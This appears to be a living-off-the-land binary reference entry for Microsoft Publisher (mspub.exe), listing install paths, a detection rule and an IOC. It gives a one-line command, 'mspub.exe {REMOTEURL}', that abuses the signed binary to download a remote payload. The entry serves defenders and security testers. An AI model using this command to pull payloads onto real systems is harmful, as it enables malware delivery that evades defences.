Mspub.exe

type: OtherMSBinaries

Microsoft Publisher

Full path

C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\MSPUB.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\MSPUB.exe
C:\Program Files (x86)\Microsoft Office\Office16\MSPUB.exe
C:\Program Files\Microsoft Office\Office16\MSPUB.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\MSPUB.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\MSPUB.exe
C:\Program Files (x86)\Microsoft Office\Office15\MSPUB.exe
C:\Program Files\Microsoft Office\Office15\MSPUB.exe
C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\MSPUB.exe
C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\MSPUB.exe
C:\Program Files (x86)\Microsoft Office\Office14\MSPUB.exe
C:\Program Files\Microsoft Office\Office14\MSPUB.exe

Commands

DownloadUser T1105
It will download a remote payload and place it in INetCache.
```
mspub.exe {REMOTEURL}
```
Downloads payload from remote server
os: Windows 10, Windows 11
Download: INetCache

Detection

Sigma https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_mspub_download.yml
IOCSuspicious Office application internet/network traffic

acknowledgement: Nir Chako (Pentera) @C_h4ck_0